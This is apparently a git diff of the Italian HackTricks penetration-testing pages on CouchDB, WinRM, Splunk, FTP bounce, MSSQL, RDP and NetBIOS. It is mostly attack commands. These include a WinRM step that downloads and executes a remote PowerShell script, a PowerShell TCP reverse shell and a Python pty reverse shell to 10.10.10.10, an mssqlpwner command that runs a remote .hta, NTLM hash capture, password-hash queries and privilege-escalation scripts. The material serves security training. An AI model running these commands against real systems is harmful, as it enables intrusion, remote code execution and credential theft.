Una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB è stata esplorata, rivelando che lo sfruttamento richiede permessi di scrittura sul file `local.ini`. Sebbene non sia direttamente applicabile al sistema target iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere accesso in scrittura al file `local.ini` per scopi di esplorazione. I passaggi dettagliati e gli esempi di codice sono forniti di seguito, dimostrando il processo.
|
||||
|
||||
Innanzitutto, l'ambiente viene preparato assicurandosi che il file `local.ini` sia scrivibile, verificato elencando i permessi:
|
||||
```bash
|
||||
@ -166,7 +166,7 @@ root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in condizioni specifiche, in particolare il requisito di accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
|
||||
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in specifiche condizioni, in particolare il requisito di accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
|
||||
|
||||
Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
@ -174,7 +174,7 @@ Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [
|
||||
|
||||
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene configurazioni specifiche possano impedire il suo sfruttamento. Nonostante numerosi riferimenti a Proof of Concept (POC) disponibili online, sono necessarie modifiche per sfruttare la vulnerabilità sulla versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query previsto:
|
||||
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene configurazioni specifiche possano impedire il suo sfruttamento. Nonostante numerosi riferimenti a Proof of Concept (POC) disponibili online, sono necessarie modifiche per sfruttare la vulnerabilità sulla versione 2 di CouchDB, differente dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query previsto:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
@ -203,7 +203,7 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
Un [**riassunto**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) con un payload alternativo fornisce ulteriori informazioni su come sfruttare CVE-2017-12636 in condizioni specifiche. **Risorse utili** per sfruttare questa vulnerabilità includono:
|
||||
Un [**riassunto**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) con un payload alternativo fornisce ulteriori informazioni sull'exploitation di CVE-2017-12636 in condizioni specifiche. **Risorse utili** per sfruttare questa vulnerabilità includono:
|
||||
|
||||
- [Codice exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Voce del Database Exploit](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
@ -15,28 +15,28 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
|
||||
|
||||
### **Iniziare una sessione WinRM**
|
||||
|
||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||
```powershell
|
||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||
```bash
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts`, un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota anche che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante.
|
||||
Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts`, un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota inoltre che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante.
|
||||
|
||||
Inoltre, WinRM può essere **attivato remotamente** utilizzando il comando `wmic`, come dimostrato di seguito:
|
||||
```powershell
|
||||
```bash
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
|
||||
|
||||
### Verifica se configurato
|
||||
### Testare se configurato
|
||||
|
||||
Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
||||
Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
||||
|
||||
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, che significano che WinRM è configurato correttamente.
|
||||
La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, a significare che WinRM è configurato correttamente.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -47,27 +47,27 @@ La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmi
|
||||
### Eseguire un comando
|
||||
|
||||
Per eseguire `ipconfig` da remoto su una macchina target e visualizzarne l'output, fare:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
.png>)
|
||||
|
||||
Puoi anche **eseguire un comando della tua attuale console PS tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e desideri **eseguirla su un computer remoto**, puoi fare:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### Esegui uno Script
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### Ottieni reverse-shell
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### Ottieni una sessione PS
|
||||
|
||||
Per ottenere una shell PowerShell interattiva usa `Enter-PSSession`:
|
||||
```powershell
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
### **Forzare l'apertura di WinRM**
|
||||
|
||||
Per utilizzare PS Remoting e WinRM ma il computer non è configurato, puoi abilitarlo con:
|
||||
```powershell
|
||||
```bash
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
### Salvataggio e Ripristino delle sessioni
|
||||
|
||||
Questo **non funzionerà** se la **lingua** è **vincolata** nel computer remoto.
|
||||
```powershell
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
@ -108,14 +108,14 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
All'interno di queste sessioni puoi caricare script PS utilizzando _Invoke-Command_
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
### Errori
|
||||
|
||||
Se trovi il seguente errore:
|
||||
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
`enter-pssession : Impossibile connettersi al server remoto 10.10.10.175 con il seguente messaggio di errore : Il client WinRM non può elaborare la richiesta. Se lo schema di autenticazione è diverso da Kerberos, o se il computer client non è unito a un dominio, allora deve essere utilizzato il trasporto HTTPS oppure la macchina di destinazione deve essere aggiunta all'impostazione di configurazione TrustedHosts. Usa winrm.cmd per configurare TrustedHosts. Tieni presente che i computer nella lista TrustedHosts potrebbero non essere autenticati. Puoi ottenere ulteriori informazioni eseguendo il seguente comando: winrm help config. Per ulteriori informazioni, vedere l'argomento di aiuto about_Remote_Troubleshooting.`
|
||||
|
||||
Il tentativo sul client (info da [qui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
|
||||
@ -53,7 +53,7 @@ Potenziale di Sfruttamento Chiave:
|
||||
|
||||
### Crea Applicazione Personalizzata
|
||||
|
||||
Splunk offre un metodo sofisticato per l'esecuzione remota di codice attraverso il deployment di applicazioni personalizzate, sfruttando le sue capacità di scripting multipiattaforma. La tecnica di sfruttamento principale ruota attorno alla creazione di un'applicazione malevola che può eseguire reverse shell su sistemi sia Windows che Linux.
|
||||
Splunk offre un metodo sofisticato per l'esecuzione remota di codice attraverso il deployment di applicazioni personalizzate, sfruttando le sue capacità di scripting multipiattaforma. La tecnica di sfruttamento principale ruota attorno alla creazione di un'applicazione malevola che può eseguire reverse shell su sistemi Windows e Linux.
|
||||
|
||||
Un'applicazione personalizzata può eseguire **script Python, Batch, Bash o PowerShell**. Inoltre, **Splunk viene fornito con Python installato**, quindi anche nei sistemi **Windows** sarà possibile eseguire codice python.
|
||||
|
||||
@ -73,13 +73,13 @@ Il file di configurazione critico `inputs.conf` abilita lo script tramite:
|
||||
|
||||
Il deployment è semplice:
|
||||
|
||||
1. Crea il pacchetto dell'applicazione malevola
|
||||
2. Configura un listener (Netcat/socat) sulla macchina attaccante
|
||||
3. Carica l'applicazione tramite l'interfaccia di Splunk
|
||||
4. Attiva l'esecuzione automatica dello script al momento del caricamento
|
||||
1. Creare il pacchetto dell'applicazione malevola
|
||||
2. Impostare un listener (Netcat/socat) sulla macchina attaccante
|
||||
3. Caricare l'applicazione tramite l'interfaccia di Splunk
|
||||
4. Attivare l'esecuzione automatica dello script al momento del caricamento
|
||||
|
||||
Esempio di reverse shell di Windows PowerShell:
|
||||
```powershell
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
@ -103,7 +103,7 @@ s.connect((ip, int(port)))
|
||||
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
||||
pty.spawn('/bin/bash')
|
||||
```
|
||||
### RCE e Escalatione dei Privilegi
|
||||
### RCE & Privilege Escalation
|
||||
|
||||
Nella pagina seguente puoi trovare una spiegazione su come questo servizio può essere abusato per escalare i privilegi e ottenere persistenza:
|
||||
|
||||
|
||||
@ -4,26 +4,26 @@
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
### Manuale
|
||||
|
||||
1. Connettersi all'FTP vulnerabile
|
||||
2. Usare \*\*`PORT`\*\* o **`EPRT`** (ma solo uno di essi) per stabilire una connessione con il _\<IP:Port>_ che si desidera scansionare:
|
||||
2. Utilizzare **`PORT`** o **`EPRT`** (ma solo uno di essi) per stabilire una connessione con il _\<IP:Port>_ che si desidera scansionare:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
|
||||
3. Usare **`LIST`** (questo invierà semplicemente al _\<IP:Port>_ connesso l'elenco dei file attuali nella cartella FTP) e controllare le possibili risposte: `150 File status okay` (Questo significa che la porta è aperta) o `425 No connection established` (Questo significa che la porta è chiusa)
|
||||
1. Invece di `LIST`, si potrebbe anche usare **`RETR /file/in/ftp`** e cercare risposte simili `Open/Close`.
|
||||
3. Utilizzare **`LIST`** (questo invierà semplicemente all' _\<IP:Port>_ connesso l'elenco dei file attuali nella cartella FTP) e controllare le possibili risposte: `150 File status okay` (Questo significa che la porta è aperta) o `425 No connection established` (Questo significa che la porta è chiusa)
|
||||
1. Invece di `LIST`, si potrebbe anche utilizzare **`RETR /file/in/ftp`** e cercare risposte simili `Open/Close`.
|
||||
|
||||
Esempio usando **PORT** (la porta 8080 di 172.32.80.80 è aperta e la porta 7777 è chiusa):
|
||||
Esempio utilizzando **PORT** (la porta 8080 di 172.32.80.80 è aperta e la porta 7777 è chiusa):
|
||||
|
||||
.png>)
|
||||
|
||||
Stesso esempio usando **`EPRT`** (autenticazione omessa nell'immagine):
|
||||
Stesso esempio utilizzando **`EPRT`** (autenticazione omessa nell'immagine):
|
||||
|
||||
.png>)
|
||||
|
||||
Porta aperta usando `EPRT` invece di `LIST` (ambiente diverso)
|
||||
Porta aperta utilizzando `EPRT` invece di `LIST` (ambiente diverso)
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
- **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
|
||||
- **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
|
||||
- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati.
|
||||
- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati.
|
||||
- **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
|
||||
- **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
|
||||
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte usando un nome utente esistente.
|
||||
> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte utilizzando un nome utente esistente.
|
||||
|
||||
#### Metasploit (necessita di credenziali)
|
||||
```bash
|
||||
@ -64,9 +64,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
||||
### [**Forza bruta**](../../generic-hacking/brute-force.md#sql-server)
|
||||
|
||||
### Enumerazione Manuale
|
||||
### Enumerazione manuale
|
||||
|
||||
#### Accesso
|
||||
|
||||
@ -159,10 +159,10 @@ SELECT * FROM sysusers
|
||||
- **Server** – Esempi includono database, logins, endpoint, gruppi di disponibilità e ruoli del server.
|
||||
- **Database** – Esempi coprono ruoli del database, ruoli delle applicazioni, schema, certificati, cataloghi di testo completo e utenti.
|
||||
- **Schema** – Include tabelle, viste, procedure, funzioni, sinonimi, ecc.
|
||||
2. **Permission:** Associato agli securables di SQL Server, i permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
2. **Permission:** Associato con i securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
- **Server Level** utilizzando logins
|
||||
- **Database Level** utilizzando utenti
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti del database. Il controllo sull'accesso agli securables è esercitato attraverso la concessione o la negazione di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso per un securable. I principali includono principalmente logins e utenti del database. Il controllo sull'accesso ai securables è esercitato attraverso la concessione o la negazione di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### Ottenere password hashate
|
||||
```bash
|
||||
SELECT * FROM master.sys.syslogins;
|
||||
```
|
||||
### Rubare l'hash NetNTLM / Attacco di Relay
|
||||
|
||||
Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` per esempio).
|
||||
@ -319,15 +323,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Leggere file eseguendo script (Python e R)**
|
||||
### **RCE/Eseguire file eseguendo script (Python e R)**
|
||||
|
||||
MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questo codice sarà eseguito da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi.
|
||||
MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questi codici saranno eseguiti da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi.
|
||||
|
||||
Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante**:
|
||||
|
||||
.png>)
|
||||
|
||||
Esempio di utilizzo di Python configurato per eseguire diverse azioni:
|
||||
Esempio di utilizzo di python configurato per eseguire diverse azioni:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -372,7 +376,7 @@ Per **ulteriori esempi** controlla la [**fonte originale**](https://blog.waynesh
|
||||
|
||||
È possibile **caricare un .NET dll all'interno di MSSQL con funzioni personalizzate**. Questo, tuttavia, **richiede accesso `dbo`** quindi hai bisogno di una connessione al database **come `sa` o un ruolo di Amministratore**.
|
||||
|
||||
[**Seguendo questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio.
|
||||
[**Segui questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio.
|
||||
|
||||
### RCE con `autoadmin_task_agents`
|
||||
|
||||
@ -476,13 +480,13 @@ Puoi utilizzare un modulo **metasploit**:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
O un **script PS**:
|
||||
```powershell
|
||||
O uno script **PS**:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Impersonazione di altri utenti
|
||||
### Impersonificazione di altri utenti
|
||||
|
||||
SQL Server ha un permesso speciale, chiamato **`IMPERSONATE`**, che **consente all'utente che esegue di assumere i permessi di un altro utente** o login fino a quando il contesto non viene ripristinato o la sessione termina.
|
||||
```sql
|
||||
@ -522,7 +526,7 @@ Puoi eseguire questo attacco con un modulo **metasploit**:
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
o con uno script **PS**:
|
||||
```powershell
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
@ -533,23 +537,23 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
## Estrazione delle password dai Linked Servers di SQL Server
|
||||
|
||||
Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittografare le password memorizzate per i Linked Servers può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittare le password memorizzate per i Linked Servers può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, è necessario avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server.
|
||||
Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, devi avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server.
|
||||
|
||||
Dopo aver convalidato le tue autorizzazioni, è necessario configurare tre cose, che sono le seguenti:
|
||||
Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti:
|
||||
|
||||
1. Abilitare TCP/IP sulle istanze di SQL Server;
|
||||
2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
|
||||
3. Abilitare la connessione remota per l'amministratore.
|
||||
|
||||
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittografia delle password.
|
||||
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittazione delle password.
|
||||
|
||||
Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: [Decrittografare le password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittazione delle password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Risoluzione dei problemi della connessione dedicata per l'amministratore di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalation dei Privilegi Locali
|
||||
## Escalation Locale dei Privilegi
|
||||
|
||||
L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\
|
||||
Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di queste 2 pagine:
|
||||
@ -578,7 +582,7 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
## Comandi Automatici HackTricks
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
||||
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||
|
||||
### Furto di sessione
|
||||
|
||||
Con **permessi SYSTEM** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario.
|
||||
Con **permessi di SISTEMA** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario.
|
||||
|
||||
**Ottieni sessioni aperte:**
|
||||
```
|
||||
@ -101,10 +101,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
- Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
|
||||
- Controlla il clipboard in modo automatizzato dalla riga di comando
|
||||
- Crea un proxy SOCKS dal client che canalizza la comunicazione di rete verso il target tramite RDP
|
||||
- Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
||||
- Esegue comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
||||
- Carica e scarica file da/al target anche quando i trasferimenti di file sono disabilitati sul target
|
||||
|
||||
## Comandi Automatici HackTricks
|
||||
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
|
||||
|
||||
Questo strumento consente di eseguire comandi nel RDP della vittima **senza necessità di un'interfaccia grafica**.
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
## **Porta 139**
|
||||
|
||||
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
|
||||
